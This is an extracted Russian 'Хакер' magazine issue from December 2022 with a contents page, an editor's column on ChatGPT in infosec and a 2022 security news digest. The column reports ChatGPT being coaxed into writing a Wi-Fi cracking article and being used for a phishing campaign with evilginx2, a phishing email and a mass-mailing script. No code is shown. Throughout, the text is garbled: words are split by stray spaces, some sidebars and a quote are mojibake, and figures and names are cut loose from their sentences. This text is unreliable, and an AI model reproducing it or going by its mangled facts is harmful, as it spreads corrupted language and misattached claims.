


декабрь 2022

№ 285

CONTENTS
Ко лон ка глав реда

Инфосек с ChatGPT

Са мые важ ные и инте рес ные события мира безопас ности за 2022 год
GIGANEWS

Со бира ем информа цию об ата куемой сис теме
Кунг-фу enumeration

Ре вер сим 64-раз рядные при ложе ния на Delphi
Дельфийские игры

Учим ся ана лизи ровать прог раммы для x86 с нуля
Ремесло бинарщика

Ре вер сим при ложе ние на REALbasic
Get your Xojo

По выша ем при виле гии через уяз вимость в Redis
HTB Shared

По выша ем при виле гии через служ бу обновле ния Windows
HTB Outdated

Про водим клас сичес кую ата ку RBCD для зах вата домена
HTB Support

Сбе гаем из Docker-кон тей неров
HTB Carpediem

Умень шаем тре бова ния Bodhi Linux к опе ратив ной памяти
Linux на диете

Изу чаем элек тро нику с Грин чем
Новогодний переполох

Кто дела ет этот жур нал
Титры



ПОДПИСКА НА «ХАКЕР»

Мы благодарим всех, кто поддерживает
редакцию и помогает нам компенсировать
авторам и редакторам их труд. Без вас
«Хакер» не мог бы существовать, и каждый
новый подписчик делает его чуть лучше.

Напоминаем, что дает годовая подписка:

год доступа ко всем материалам, уже
опубликованным на Xakep.ru;
год доступа к новым статьям, которые
выходят по будням;
полное отсутствие рекламы на сайте
(при условии, что ты залогинишься);
возможность скачивать выходящие
каждый месяц номера в PDF, чтобы
читать на любом удобном устройстве;
личную скидку 20%, которую
можно использовать для продления
годовой подписки. Скидка накапливается
с каждым продлением.

Если по каким-то причинам у тебя еще нет
подписки или она скоро кончится, 

спеши исправить это!

https://xakep.ru/
https://xakep.ru/subscribe/discounts/
https://xakep.ru/wp-admin/users.php?page=paywall_subscribes&from=pdf&subscribe=12_months


ИНФОСЕК

С CHATGPT
КОЛОНКА ГЛАВРЕДА

Андрей Письменный
Главный редактор

apismenny@gmail.com

HEADER

2022 год начал ся с Wordle, а закон чился
дру гой увле катель ной игрой, резуль таты
которой навод нили соц сети, — сорев -
новани ями по вытяги ванию разум ного,
смеш ного и полез ного из ChatGPT. И если
зеленые и жел тые квад ратики быс тро всех
уто мили, то серые пря моуголь ники с тек -
стом неиз менно вызыва ют бурю эмо ций:
от вос торгов до стра ха за судь бу челове -
чес тва.

Сра зу хочу пре дуп редить: никаких проз рений по поводу будуще го ИИ у меня
нет. Как и все, я див люсь тому, какой путь машин ное обу чение прош ло за пос -
ледние пять лет, и пыта юсь при кинуть, что будет еще через пять. Поэто му
прос то выс туплю в жан ре TJournal (свет лая ему память), где была полез ней -
шая, на мой взгляд, руб рика: в ней бра ли какой-то новый мем и собира ли
из соц сетей луч шие экзем пля ры твор чес тва на его тему. Толь ко вмес то мемов
у нас будут при меры исполь зования ChatGPT в инфо безе.

Что за ChatGPT?
ChatGPT (Chat Generative Pre-trained Transformer) — это модель язы ка, которая
была обу чена на боль шом кор пусе тек ста для генера ции отве тов в чат-ботах.
Она была раз работа на OpenAI и явля ется раз новид ностью тех нологии пред -
варитель но обу чен ных тран сфор меров (Pre-trained Transformer).

Пред варитель но обу чен ные тран сфор меры — это модели, которые были
обу чены на боль шом кор пусе тек ста для задачи токени зации (раз биения тек ста
на отдель ные сло ва и сим волы) и затем исполь зуют ся для решения раз личных
задач на осно ве этой информа ции. Пос ле пред варитель ного обу чения модель
может быть дообу чена для решения кон крет ной задачи, нап ример генера ции
тек ста или клас сифика ции докумен тов. ChatGPT был спе циаль но раз работан
для исполь зования в чат-ботах.

ChatGPT был раз работан ком пани ей OpenAI. OpenAI — это неком мерчес -
кая орга низа ция, которая занима ется иссле дова нием искусс твен ного
интеллек та и его при мене ния. Она осно вана в 2015 году и счи тает ся одним
из ведущих игро ков в области искусс твен ного интеллек та. OpenAI раз работа ла
мно жес тво моделей язы ка, в том чис ле GPT и GPT-2, которые так же явля ются
пред варитель но обу чен ными тран сфор мерами.

Обыч но люди удив ляют ся тому, нас коль ко хорошо ChatGPT справ ляет ся
с генера цией отве тов в чат-ботах. Она уме ет отве чать на раз личные воп росы,
выпол нять коман ды и даже пос тить шут ки. Час то ChatGPT удив ляет людей сво -
ей спо соб ностью генери ровать текст, который чита ется натураль но и не отли -
чает ся от тек ста, написан ного челове ком.

Òåêñò ýòîé âðåç êè ñãå íåðè ðîâàí ïðè ïîìîùè ChatGPT â îòâåò íà âîï -

ðîñû «×òî òàêîå ChatGPT?», «Êòî ðàç ðàáîòàë ChatGPT?» è «Ïî÷åìó

ChatGPT ïîðàæà åò ëþäåé?»

Как видишь, писать рефера ты ChatGPT уме ет склад но. Но это далеко
не единс твен ное при мене ние. При помощи ChatGPT генери руют код на раз -
ных язы ках, и этот код даже иног да запус кает ся и работа ет как положе но. И в
информа цион ной безопас ности при мене ний тоже пре дос таточ но.

Вот поль зователь   ChatGPT гля нуть на исходник смарт-кон -
трак та, а тот кор рек тно иден тифици рует потен циаль ную уяз вимость.

@gf_256 про сит

Еще при мер того же поль зовате ля: ChatGPT показы вают задач ку с CTF,
в которой нуж но заб рать флаг из при ложе ния на Flask. Ней росеть под робно
рас ска зыва ет о том, как это мож но про делать при помощи Burp Suite.

А вот  поис ка уяз вимос тей в веб-сер вере на Python и Flask за авторс -
твом . На этот раз ChatGPT сос тавил под робный спи сок потен -
циаль ных дыр и сге нери ровал готовый скрипт с перебо ром наг рузок.

при мер
@dyngnosis

Как нас чет дел бинар ных? В  ChatGPT дают пос мотреть
на све жий вывод дизас сем бле ра, и ней росет ка опре деля ет, что это крип тогра -
фичес кая фун кция, и опи сыва ет алго ритм ее работы.

при мере @JusticeRage

А вот   ChatGPT для орга низа ции фишин говой кам -
пании. Ней росеть по зап росу пишет скрипт для деп лоя evilginx2 в AWS.

@breakersall ис поль зует

Нас тра ивает фай рвол.

И выда ет скрипт на Python для регис тра ции домена.

За тем пишет фишин говое пись мо и скрипт для его рас сылки. Под конец еще и
генери рует отчет (кар тинки кли кабель ные).

Еще мне очень пон равилось, как ChatGPT  несущес тву ющий язык
прог рамми рова ния Sack, а потом стал писать прог раммы на нем.

при думал

Но окон чатель но покори ла исто рия с «вир туаль ной машиной». ChatGPT
 пред ста вить, что он тер минал на машине с Linux, и отве чать на пос -

тупа ющие коман ды bash. Даль ше поль зователь ходит по катало гам, откры вает
фай лы, запус кает коман ды, дела ет сетевые зап росы, а ней росеть пыта ется
сде лать вид, что это дей стви тель но нас тоящий компь ютер, и дать реалис -
тичный вывод. Такая вот сисад мин ская вер сия Dungeons & Dragons, где
гейм-мас тер — ней росеть.

поп росили

Со осно ватель и исполни тель ный дирек тор OpenAI Сэм Аль тман :пи шет

«

»

ChatGPT ñåé ÷àñ íåâåðî ÿòíî îãðà íè÷åí, íî êîå â ÷åì äîñ òàòî÷ íî õîðîø,

÷òî áû ñîç äàòü ëîæ íîå âïå ÷àò ëåíèå âåëè÷èÿ. Áóäåò îøèá êîé ñåé ÷àñ

íà íåãî ïîëàãàòü ñÿ â ÷åì‑òî âàæ íîì. Ýòî ïðåâüþ ïðîã ðåññà: íàì ïðåä -

ñòî èò åùå ìíî ãî ðàáîòû íàä ãèá êîñòüþ è òî÷ íîñòüþ.

Как хороши будут ягод ки, коль так хороши цве точ ки? Да и вооб ще, в хакер ском
деле точ ный инс тру мент иног да и не нужен. Быва ет дос таточ но догад ки, а уж
ее про вер кой пока что зай мет ся человек.

Нас мотрев шись при меров в интерне те, я тоже пошел пооб щать ся
с ChatGPT. Пер вым делом хотелось узнать, нас коль ко хорошо он справ ляет ся
с задача ми авто ров «Хакера». Воп рос за воп росом я стал вытяги вать из ней -
росет ки статью про взлом Wi-Fi.

ChatGPT, как видишь, нем ного пококет ничал, сто ронясь пикан тной темы,
но под конец таки раз говорил ся и пошел сочинять экс плей нер про перех ват
хен дшей ков и Aircrack-ng.

Неп лохо! Но живые авто ры нам по-преж нему нуж ны (кста ти, если хочешь стать
одним из них, шли темы на ). Я же не удер жался и стал про -
сить ней росеть сочинить . На этом работа вста ла.

pismenny@glc.ru
бал ладу о кро тову хе

Продолжение статьи →
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 «Mifrill» Мария Нефёдова
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До нового года оста лось все го ничего, а зна чит, пора под -
вести ито ги и вспом нить самые инте рес ные, важ ные
и стран ные события пос ледних две над цати месяцев. Мы
уже выб рали «при зеров» в десяти номина циях и готовы
рас ска зать тебе о наибо лее замет ных ата ках, взло мах,
утеч ках, фей лах и дру гих событи ях ухо дяще го 2022-го.

АТАКА ГОДА

LAPSUS$

От хакер ских атак пос тоян но стра дают ком пании и орга низа ции по все му миру,
но мало кому уда ется устро ить такой марафон взло мов, какой в этом году про -
демонс три рова ла хак-груп па . Все го за нес коль ко месяцев эти пар ни
успе ли ском про мети ровать и пошан тажиро вать Nvidia, слить исходные коды
Ubisoft, Microsoft и Samsung, взло мать ком панию Okta.

Lapsus$

Ли дером Lapsus$ счи тают 17-лет него под рос тка из Великоб ритании,
которо го, наряду с дру гими учас тни ками груп пы, уже арес товали влас ти. Одна -
ко пос ле этих задер жаний ата ки не прек ратились, и «спи сок зас луг» груп пиров -
ки попол нился не менее гром кими взло мами  и  (из-за
которо го в сеть утек ли десят ки видео с гей мпле ем GTA VI и кус ки исходных
кодов ком пании).

Uber Rockstar Games

В нас тоящий момент неяс но, сколь ко еще учас тни ков Lapsus$ могут оста -
вать ся на сво боде.

Äðóãèå ãðîìêèå âçëîìû 2022 ãîäà

1. .
Одна из круп ней ших крип товалют ных атак года, которую экспер ты наз вали
«пер вым в исто рии децен тра лизо ван ным мас совым ограбле нием».

Кросс-чейн-мост Nomad лишил ся 200 мил лионов дол ларов из-за взло ма

2. . В отли чие
от обыч ных шиф роваль щиков, которые вымога ют выкуп, автор RuRansom
не про сит денег, а прос то стре мит ся при чинить боль ше ущер ба.

Вре донос RuRansom унич тожа ет дан ные в рос сий ских сис темах

3. . Работа Государс твен ных
желез ных дорог Дании (DSB) ока залась парали зова на на нес коль ко часов
из-за ата ки на сто рон него пос тавщи ка ИТ-услуг — ком панию Supeo.

По езда в Дании оста нови лись из-за кибера таки

4. 
. Вре донос ное ПО обна ружи ли на сай тах более

чем 250 аме рикан ских новос тных агентств.

Сот ни новос тных сай тов в США ском про мети рова ны и зараже ны вре доно -
сом SocGholish

5. . В ком пании завери ли,
что хакеры сумели похитить толь ко некон фиден циаль ные дан ные.
Груп пиров ка Yanluowang взло мала ком панию Cisco

Год от года мощ ность DDoS-атак бьет всё новые рекор ды. В 2022 году про изош ло сра зу нес -
коль ко круп ных инци ден тов, вновь «повысив ших план ку» в этой области.

Кли ент ком пании Imperva, неназ ванный китай ский пос тавщик телеком муника цион ных услуг, под -
вер гся ата ке, которая дли лась более , и за это вре мя жер тва сум марно
получи ла . Пиковая мощ ность ата ки сос тавила  зап -
росов в секун ду.

че тырех часов
25,3 мил лиар да зап росов 3 900 000

Спе циалис ты Microsoft рас ска зали, что отра зили мас штаб ную DDoS-ата ку, нацелен ную
на неназ ванно го кли ента Azure из Азии. Мощ ность ата ки сос тавила рекор дные .3,47 Тбит/с

УТЕЧКА ГОДА

РОССИЙСКИЕ
КОМПАНИИ

К сожале нию, в этом году бес спор ными лидера ми по количес тву уте чек дан ных
ста ли рос сий ские ком пании. Посуди сам: за год в сеть попали лич ные дан ные
поль зовате лей  и , « », про вай дера
« », сер виса покуп ки билетов « », онлайн-магази нов « »,

 и « », кик шерин га , медицин ской лабора тории «
», сер висов , сай та , учас тни ков

прог раммы лояль нос ти  — и на этом спи сок не исчерпы вает ся.

Ян декс Еды Delivery Club Поч ты Рос сии
Дом.ру Ту ту.ру Вкус вилл

DNS Он лайн-трейд Whoosh Ге -
мотест CDEK.Shopping и «СДЭК.Мар кет» Pikabu

Tele2
От дель ного упо мина ния так же сто ит  , которую спе циалис ты

Мин цифры свя зыва ют с «Поч той Рос сии», а хакеры заяв ляют, что укра ли дан -
ные поль зовате лей «Госус луг», яко бы получен ные из Еди ной сис темы иден -
тифика ции и аутен тифика ции.

се рия уте чек

Не дав но экспер ты Group-IB и вов се сооб щили, что толь ко за три лет них
месяца 2022 года в сеть попало 140 баз рос сий ских ком паний, а общее
количес тво строк в этих сли вах рав няет ся при мер но 304 мил лионам.

На фоне учас тивших ся уте чек Мин цифры рас смат рива ет воз можность ввес -
ти обо рот ные штра фы для ком паний в раз мере 3% от обо рота. Гла ва минис -
терс тва Мак сут Шада ев счи тает, что это будет сти мули ровать биз нес вкла -
дывать ся в безопас ность дан ных.

Äðóãèå óòå÷êè 2022 ãîäà

1. 
. Зло умыш ленни ки про ник ли в облачное хра нили ще ком пании,

и теперь пароли поль зовате лей в теории могут быть взло маны.

Ха керы похити ли информа цию и хра нили ща паролей поль зовате лей
LastPass

2. .
Информа ция, укра ден ная с помощью уяз вимос ти API, бес плат но рас -
простра няет ся в сети.

Дан ные 5,4 мил лиона поль зовате лей Twitter попали в откры тый дос туп

3. .
У про изво дите ля укра ли исходный код, при ват ные клю чи, жур налы изме -
нений и инс тру мен ты ком пиляции для UEFI BIOS.

Про изош ла утеч ка докумен тации и BIOS для про цес соров Intel Alder Lake

4. . Зло умыш ленник
оце нил дамп в 10 бит коинов, и эта утеч ка может быть самой серь езной
из ког да-либо зат рагивав ших Китай.

В дар кне те про дают дан ные мил лиар да граж дан Китая

5. 
. Рас кол в хак-груп пе при вел к утеч ке исходных кодов

опас ной мал вари.

Утек шие исходни ки шиф роваль щика Conti исполь зуют ся для атак на рос -
сий ские ком пании

Да же в 2022 году спи сок самых рас простра нен ных и ненадеж -
ных паролей по-преж нему воз глав ляет , а за ним сле -

дуют , ,  и .
password

123456 123456789 gest qwerty
На взлом таких паролей тре бует ся от  до  секунд.< 1 11

ИССЛЕДОВАНИЕ ГОДА

ВЗЛОМ CAPTCHA
В ДАРКНЕТЕ

На учные док лады на сот ни стра ниц и иссле дова тель ские статьи обыч но
получа ют куда мень ше вни мания от прес сы и поль зовате лей, чем оче ред ной
взлом, скам, утеч ка дан ных или ограбле ние крип товалют ной бир жи. Но зачас -
тую имен но из таких тру дов «вырас тают» новые век торы и методы атак и бла -
года ря им обна ружи вают ся опас ные уяз вимос ти.

В про шед шем году инте рес ных ресер чей было немало. Нап ример, груп па
иссле дова телей из уни вер ситетов Ари зоны, Джор джии и Южной Фло риды соз -
дала мощ ный  для решения CAPTCHA на ресур сах дар кне -
та. По утвер жде нию авто ров, DW-GAN может обой ти 94,4% защит ных механиз -
мов на андегра ундных сай тах.

инс тру мент DW-GAN

Слож ность зак лючалась в том, что прак тичес ки все сай ты дар кне та исполь -
зуют CAPTCHA собс твен ной раз работ ки, и рань ше соз дание инс тру мен та,
который мог бы решить боль шинс тво из них, поп росту счи тали невоз можным.

Äðóãèå èññëåäîâàíèÿ 2022 ãîäà

1. . Ока залось,
у запаро лен ных архи вов может быть сра зу два пра виль ных пароля, при чем
оба дадут оди нако вый резуль тат при извле чении фай лов.

К зашиф рован ным архи вам ZIP под ходят два раз ных пароля

2. 
. Если нуж но скрыть текст на кар тинке, луч ше исполь зовать прос -

тые чер ные полосы, зак рыва ющие его пол ностью. Пик селиза цию, раз мытие
и иска жение мож но сно ва прев ратить в чита емый текст.

Ис сле дова тель показал, как извлечь текст из пик селизи рован ных изоб -
ражений

3. 
. Эксперт соз дал новый метод атак на бра узе ры,

который поз воля ет соз давать фишин говые фор мы вхо да, исполь зуя
для это го фей ковые окна.

Про демонс три рова на ата ка «бра узер в бра узе ре», поз воля ющая под -
делывать окна в Chrome

4. 
. Инже неры Mozilla дол го изу чали алго рит мы YouTube и приш ли

к выводу, что кноп ки обратной свя зи на плат форме прак тичес ки не работа -
ют.

Mozilla: на YouTube прак тичес ки не работа ют кноп ки «Не нра вит ся» и «Не
инте рес но»

5. 
. Член хакер ско го иссле дова тель ско го кол лекти ва Trinite

Group, занима юще гося проб лемами BLE, про дол жает изу чать и ломать про -
дук цию Tesla.

Уг нать за 130 секунд: баг поз воля ет добавить новый NFC-ключ для авто -
моби ля Tesla

Ха керы лома ют хакеров: за пос ледние 12 месяцев мошен ники
вымани ли у сво их «кол лег» более  дол ларов толь ко
на трех отдель ных хак-форумах: ,  и .

2 500 000
Exploit XSS BreachForums

УЯЗВИМОСТЬ ГОДА

PROXYNOTSHELL

В этой номина ции хочет ся порадо вать ся тому, что не каж дый год спе циалис -
там при ходит ся стал кивать ся с проб лемами мас шта ба Heartbleed, Meltdown
и Spectre или WannaCry. Сре ди багов «калиб ром» помень ше в этом году явно
выделя лись уяз вимос ти , родс твен ные ста рому багу ProxyShell
и бла года ря это му получив шие наз вание.

ProxyNotShell

Уяз вимос ти в Microsoft Exchange выз вали такой инте рес сре ди зло умыш -
ленни ков, что в сети даже пытались про давать  для них.фей ковые экс пло иты

Äðóãèå óÿçâèìîñòè 2022 ãîäà

1. .
Проб лема нулево го дня в Microsoft Office ста ла нас тоящим подар ком
для хакеров, а патч раз рабаты вали нес коль ко месяцев.

Уяз вимость Follina прев ратили в ору жие, но Microsoft не торопит ся с пат чем

2. .
Поль зовате лям посове това ли отка зать ся от мобиль ных пла тежей и свес ти
к миниму му количес тво уста нов ленных на устрой стве при ложе ний.

Смар тфо ны Xiaomi с чипами MediaTek уяз вимы перед под делкой пла тежей

3. 
. Проб лема пред став ляла угро зу для 64-раз рядных сис тем с под -

дер жкой Intel AVX-512 (Advanced Vector Extensions 512).

В OpenSSL пат чат уяз вимость, срав нимую с Heartbleed по сте пени серь -
езности

4. . Хакеры
с огра ничен ными при виле гиями мог ли выпол нить код в режиме ядра и в
ито ге получить пол ный кон троль над устрой ством.

В анти виру сах Avast и AVG наш ли баги десяти лет ней дав ности

5. . Баг носит
аппа рат ный харак тер и свя зан с аутен тифика цией ука зате ля (pointer
authentication), поз воляя выпол нять про изволь ный код на уяз вимом устрой -
стве.

Apple M1 уяз вим для ата ки PACMAN, и это нель зя испра вить

В Qrator Labs , что отка зоус той чивость Рунета ухуд -
шает ся: в этом году Рос сия потеря ла сра зу  позиций, смес -

тившись на  мес то в обще миро вом топ-20.

счи тают
8

10-е

БЛОКИРОВКА ГОДА

СОЦИАЛЬНЫЕ СЕТИ

По жалуй, это будет самый грус тный раз дел нашего дай джес та. О бло киров ках,
с которы ми рос сий ские поль зовате ли стол кну лись в 2022 году, мож но
написать цикл ста тей и все рав но упус тить из вида что-нибудь важ ное. Ведь
в реестр зап рещен ных сай тов в 2022 году было вне сено 247 492 ссыл ки
на сай ты или кон крет ные стра ницы в интерне те.

На ибо лее зна ковым «баном» это го года, по нашему мне нию, ста ла бло -
киров ка соци аль ных сетей  и , а так же 
деятель нос ти ком пании Meta Platforms** экс тре мист ской с пос леду ющим зап -
ретом на тер ритории Рос сии.

Twitter, Facebook* Instagram* приз нание

Те перь Facebook* и Instagram* ежед невно поль зуют ся лишь 0,2% и 8%
населе ния.

В чис ле про чего в РФ были отклю чены и рек ламные инс тру мен ты YouTube
и Google Ads, из-за чего рос сий ские бло геры потеря ли 80–90% сво его дохода,
а лидерс тво сре ди соц сетей в РФ теперь дер жат «Вкон такте» и Telegram, чей
тра фик замет но уве личил ся за про шед ший год.

Äðóãèå áëîêèðîâêè 2022 ãîäà

1. 
. Аме рикан ские влас ти начали борь бу с Z-Library: Минюст

и ФБР кон фиско вали более 130 доменов биб лиоте ки, а так же арес товали
пред полага емых адми нис тра торов ресур са.

Арес тованы двое рос сиян, которых обви няют в управле нии теневой биб -
лиоте кой Z-Library

2. 
. Заг рузить с офи циаль ного сай та Microsoft обра зы Windows

10 и 11, а так же дру гие фай лы тоже не получа ется без VPN.

Рос сий ским поль зовате лям заб локиро вали обновле ние до Windows
11 22H2

3. 
. Раз работ чик сер виса арес тован, а пред ста вите ли крип тоин дус трии

счи тают это неп равомер ным и подали в суд на Минис терс тво финан сов
США.

Аме рикан ские влас ти наложи ли сан кции на крип товалют ный мик сер Tornado
Cash

4. .
В этом году было забане но мно жес тво VPN-сер висов, но Proton VPN стал
одной из самых зна чимых потерь.

Рос комнад зор заявил о бло киров ке VPN-сер висов, вклю чая Proton VPN

5. . К сожале -
нию, такие проб лемы дав но воз ника ют у раз работ чиков из стран, находя -
щих ся под сан кци ями США.

GitHub бло киру ет акка унты рос сий ских бан ков и раз работ чиков

Вы мога тель ские груп пиров ки сни жают свои зап росы: по срав -
нению с прош лым годом величи на выкупов сни зилась более

чем в , а цены на шиф роваль щики в дар кне те упа ли в 
 раз.

20 раз 10–
12

НАРУШИТЕЛЬ ПРИВАТНОСТИ ГОДА

IPHONE

В прош лом году мы наз вали глав ным наруши телем при ват ности Android, одна -
ко устрой ства Apple тоже таят в себе немало проб лем. К при меру, спе циалис ты
из Дарм штадтско го тех ничес кого уни вер ситета , что для iPhone
мож но соз дать вре донос ное ПО, которое будет работать даже на вык лючен -
ном устрой стве. И хотя такая мал варь сущес тву ет лишь в качес тве иссле дова -
тель ско го кон цепта, в мобиль ных устрой ствах под управле нием iOS дей стви -
тель но есть ряд чипов, про дол жающих работать, даже ког да питание отсутс -
тву ет. Теоре тичес ки это может прев ратить вык лючен ный телефон в устрой ство
для слеж ки за его вла дель цем.

об наружи ли

Сре ди дру гих проб лем с при ват ностью, обна ружен ных в этом году в iOS,
мож но отме тить ата ку , которая помога ет ими тиро вать про цесс вык -
лючения устрой ства, хотя на самом деле iPhone по-преж нему работа ет, и ,
который поз волял под слу шивать раз говоры поль зовате лей с Siri и записы вать
аудио дик товки тек ста.

NoReboot
баг

Äðóãèå íîâîñòè ïðèâàòíîñòè 2022 ãîäà

1. 
. Google наконец пре дос тавила людям воз можность не раз решать

соеди нения 2G на сво их устрой ствах.

Поль зовате ли Android смо гут отклю чить 2G и защитить ся от атак перех -
ватчи ков

2. . Поль -
зовате лям боль ше не при дет ся вруч ную переби рать кон фигура ции мос тов.
Об новлен ный Tor Browser авто мати чес ки обхо дит огра ниче ния

3. 
. Легаль ная спай варь RCS Lab полага ется на помощь

интернет-про вай деров в некото рых стра нах.

Google: шпи онское ПО ата кует поль зовате лей iOS и Android при под дер жке
интернет-про вай деров

4. . Пос ле скан дала
раз работ чики объ яви ли, что их бра узер все же будет бло киро вать все сто -
рон ние сле дящие скрип ты Microsoft, хотя ранее это было невоз можно из-за
сог лашения о поис ке, зак лючен ного меж ду ком пани ями.

Бра узер DuckDuckGo раз решал работу тре керов Microsoft

5. 
. VPN-при ложе ния всё так же не могут шиф ровать весь тра фик в iOS.

Ис сле дова тели говорят, что VPN в iOS по-преж нему не работа ет нор маль -
но

В сред нем на исправ ление 0-day-багов у ком паний ухо дит
, тог да как еще три года назад для это го тре бова лось

в сред нем .
52 дня

80 дней
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МАЛВАРЬ ГОДА

RASPBERRY ROBIN

В «Хакере» мы каж дый день рас ска зыва ем о новой мал вари, угро зах, дар -
кнет-сер висах и вре донос ных кам пани ях. Выбирать «победи теля» в этой
катего рии всег да труд но, ведь нель зя с точ ностью ска зать, что хуже: появ ление
новой вер сии извес тно го шиф роваль щика LockBit 3.0 (авто ры которо го к тому
же запус тили собс твен ную ) или появ ление в про даже
нового UEFI-бут кита .

прог рамму bug bounty
Black Lotus

Так как мно гочис ленные вымога тели и сти леры уже дав но никого не удив -
ляют, на общем фоне замет но выделил ся дроп пер Raspberry Robin, обла -
дающий фун кци ональ ностью чер вя. Его авто ры  к ском про -
мети рован ным сетям вымога тель ским груп пиров кам и опе рато рам дру гой
мал вари.

про дают дос тупы

Raspberry Robin заразил  по все му миру, что осо бен но
при меча тель но, так как рас простра няет ся он с помощью USB-накопи телей
(заража ет устрой ства вре донос ным ПО пос ле кли ка по фай лу .LNK).

ты сячи орга низа ций

Эк спер ты свя зыва ют его с такими небезыз вес тны ми хак-груп пами,
как FIN11 и Clop, а так же с рас простра нени ем полез ных наг рузок вре доно сов
Bumblebee, IcedID и TrueBot.

Äðóãèå çàìåòíûå âðåäîíîñû 2022 ãîäà

1. .
Parrot опи рает ся в работе на взло ман ные сер веры, где раз меща ются сай ты
уни вер ситетов, муници паль ных орга нов влас ти, кон тент для взрос лых и лич -
ные бло ги.

Сер вис Parrot TDS исполь зует 61 000 сай тов для рас простра нения мал вари

2. . В сети обна ружи ли
взло ман ную вер сию red team инс тру мен та Brute Ratel. Не Cobalt Strike’ом
еди ным…

Ха керы зло упот ребля ют воз можнос тями Brute Ratel C4

3. .
Все го за 30 дней наб людений Mantis запус тил более 3000 DDoS-атак,
которые были нап равле ны про тив поч ти 1000 кли ентов Cloudare.

За рекор дны ми DDoS-ата ками на кли ентов Cloudare сто ял бот нет Mantis

4. 
. Хотя брен да Conti боль ше не сущес тву ет, экспер -

ты уве рены, что этот прес тупный син дикат еще дол го будет играть важ ную
роль в вымога тель ской «индус трии».

Вы мога тель ская груп пиров ка Conti прек ратила работу и рас палась на нес -
коль ко групп помень ше

5. . Emotet
по-преж нему жив и про дол жает мас совые рас сылки вре донос ного спа ма.
Бот нет Emotet возоб новил активность пос ле пяти месяцев прос тоя

По дан ным Рос комнад зора, с начала спе циаль ной воен ной
опе рации на Укра ине про изош ло более  уте чек пер сональ -
ных дан ных и в сеть попали при мер но  записей

о рос сиянах.

140
600 мил лионов

ХАРДВЕРНЫЙ ВЗЛОМ ГОДА

ТЕРМИНАЛ SPACEX

Спе циалист из Левен ско го католи чес кого уни вер ситета Лен нерт Воутерс
(Lennert Wouters) , как ему уда лось осу щес твить один
из пер вых взло мов тер миналов Starlink с помощью самодель ного мод-чипа
сто имостью 25 дол ларов. Воутерс заявил, что намерен сде лать этот инс тру -
мент пол ностью дос тупным для копиро вания.

в деталях рас ска зал

Хо тя SpaceX выпус тила обновле ние, что бы зат руднить потен циаль ные ата ки
(в ответ Воутерс изме нил свой мод-чип), основная проб лема не может быть
исправ лена, пока ком пания не обно вит железо. По этой при чине все поль -
зователь ские тер миналы Starlink по-преж нему уяз вимы, хотя пос ле пат ча
реали зовать ата ку ста ло замет но труд нее.

Äðóãèå «æåëåçíûå» íîâîñòè 2022 ãîäà

1. 
. Музыкаль ный клип на пес ню Rhythm Nation негатив но вли ял

на некото рые жес ткие дис ки со ско ростью вра щения 5400 об/мин. Виноват
в этом был обыч ный резонанс.

Пес ня Джа нет Джек сон выводи ла из строя жес ткие дис ки в ста рых ноут -
буках

2. .
Авто ры обно вили DuckyScript (язык, который исполь зует ся для соз дания
команд), научи ли устрой ство опре делять, под клю чено оно к Windows-
машине или Mac, а так же генери ровать псев дослу чай ные чис ла.

Выш ла обновлен ная вер сия хакер ско го инс тру мен та USB Rubber Ducky

3. 
. Раз работ чики заяв ляют, что это важ ный шаг на пути к пол ному взло му

кон соли.

По явил ся PoC-экс пло ит для PlayStation 5. Он сра баты вает лишь в 30% слу -
чаев

4. . Новин ка
спо соб на под держи вать двух сто рон нюю связь со сво им опе рато ром
и может пох вастать ся уве личен ным хра нили щем для полез ных наг рузок.

Ка бель O.MG Elite получил рас ширен ные сетевые воз можнос ти

5. . Девайс,
пос тро енный на базе Raspberry Pi 4 Model B, может про верить, не исполь -
зует ся ли мик рофон ноут бука или смар тфо на для тай ной записи раз говоров
поль зовате ля.

Соз дано устрой ство TickTock, спо соб ное обна ружи вать прос лушку

Оп рос StackOverow показал: в 2022 году  раз работ -
чиков пред почли исполь зовать Linux в качес тве основной ОС.

Одна ко пер вое мес то все рав но удер жива ет Windows с резуль -
татом в .

40,23%

62,33%

СТРАННОСТЬ ГОДА

ДОБРЫЙ
ШИФРОВАЛЬЩИК

Да леко не все события, про исхо дящие в областях ИТ и инфо сека, мож но
отнести к раз ряду серь езных, а некото рые инци ден ты и вов се напоми нают то
ли пер воап рель скую шут ку, то ли нарочи то абсур дные фаль шивые новос ти
в сти ле ИА «Панора ма».

Один из ярких при меров — вымога тель , который не тре бует у пос -
тра дав ших день ги, но зас тавля ет их совер шать доб рые дела в обмен
на дешиф рование фай лов. К при меру, опе рато ры вре доно са велят раз давать
одеж ду без домным или опла чивать медицин ские сче та тем, кто нуж дает ся
в сроч ной медицин ской помощи, но не может себе это го поз волить.

GoodWill

GoodWill рас простра няет ся пре иму щес твен но в Индии и, судя по все му,
был соз дан в этой же стра не. Иссле дова тели счи тают, что шиф роваль щик явля -
ется чьим-то экспе римен том.

Äðóãèå ñòðàííûå íîâîñòè 2022 ãîäà

1. 
. Отклю чение питания тер минала авто мати чес -

ки воз вра щало день ги за пос ледний заказ.

Школь ники наш ли баг в тер миналах само обслу жива ния «Вкус но — и точ ка»
и ели гам бурге ры бес плат но

2. 
. Отец семей ства исполь зовал «глу шил ку», что бы

заб локиро вать сво им детям дос туп к сети, а в ито ге оста вил без свя зи всех
соседей.

Фран цуз слу чай но лишил интерне та целый город, пыта ясь отклю чить
интернет сво им детям

3. . Ску чающий хакер
взло мал ShitExpress и опуб ликовал нес коль ко осо бен но забав ных пос ланий,
которы ми кли енты сер виса соп ровож дали свои «заказы».

Взло ман ано ним ный сайт для рас сылки фекалий по поч те

4. 
. Пал мер Лаки вдох новил ся иде ями из Sword Art Online

и сконс тру иро вал по-нас тояще му убий ствен ный гад жет.

Соз датель Oculus Rift показал VR-гар нитуру, которая убь ет поль зовате ля,
если тот умер в игре

5. 
. Прог раммист Google опуб ликовал интервью

с чат-ботом LaMDA (Language Model for Dialogue Applications), в котором ИИ
приз нался, что испы тыва ет чувс тво оди ночес тва и жаж дет духов ных зна ний.

Google отпра вила инже нера в опла чива емый отпуск, ког да тот заявил, что
ИИ ком пании обрел соз нание

Са мым популяр ным язы ком прог рамми рова ния на GitHub
по-преж нему оста ется . Вто рое мес то занима ет

, третье — . Эти лидеры не меня ются уже нес коль ко
лет.

JavaScript
Python Java

ФЕЙЛ ГОДА

FTX

Осенью 2022 года крип товалют ное сооб щес тво пережи ло серь езное пот -
рясение — неожи дан ный крах бир жи FTX, которая еще недав но счи талась
одной из круп ней ших в мире наряду с Binance и Coinbase и оце нива лась
в 32 мил лиар да дол ларов. Крах и бан кротс тво FTX ока зали огромное вли яние
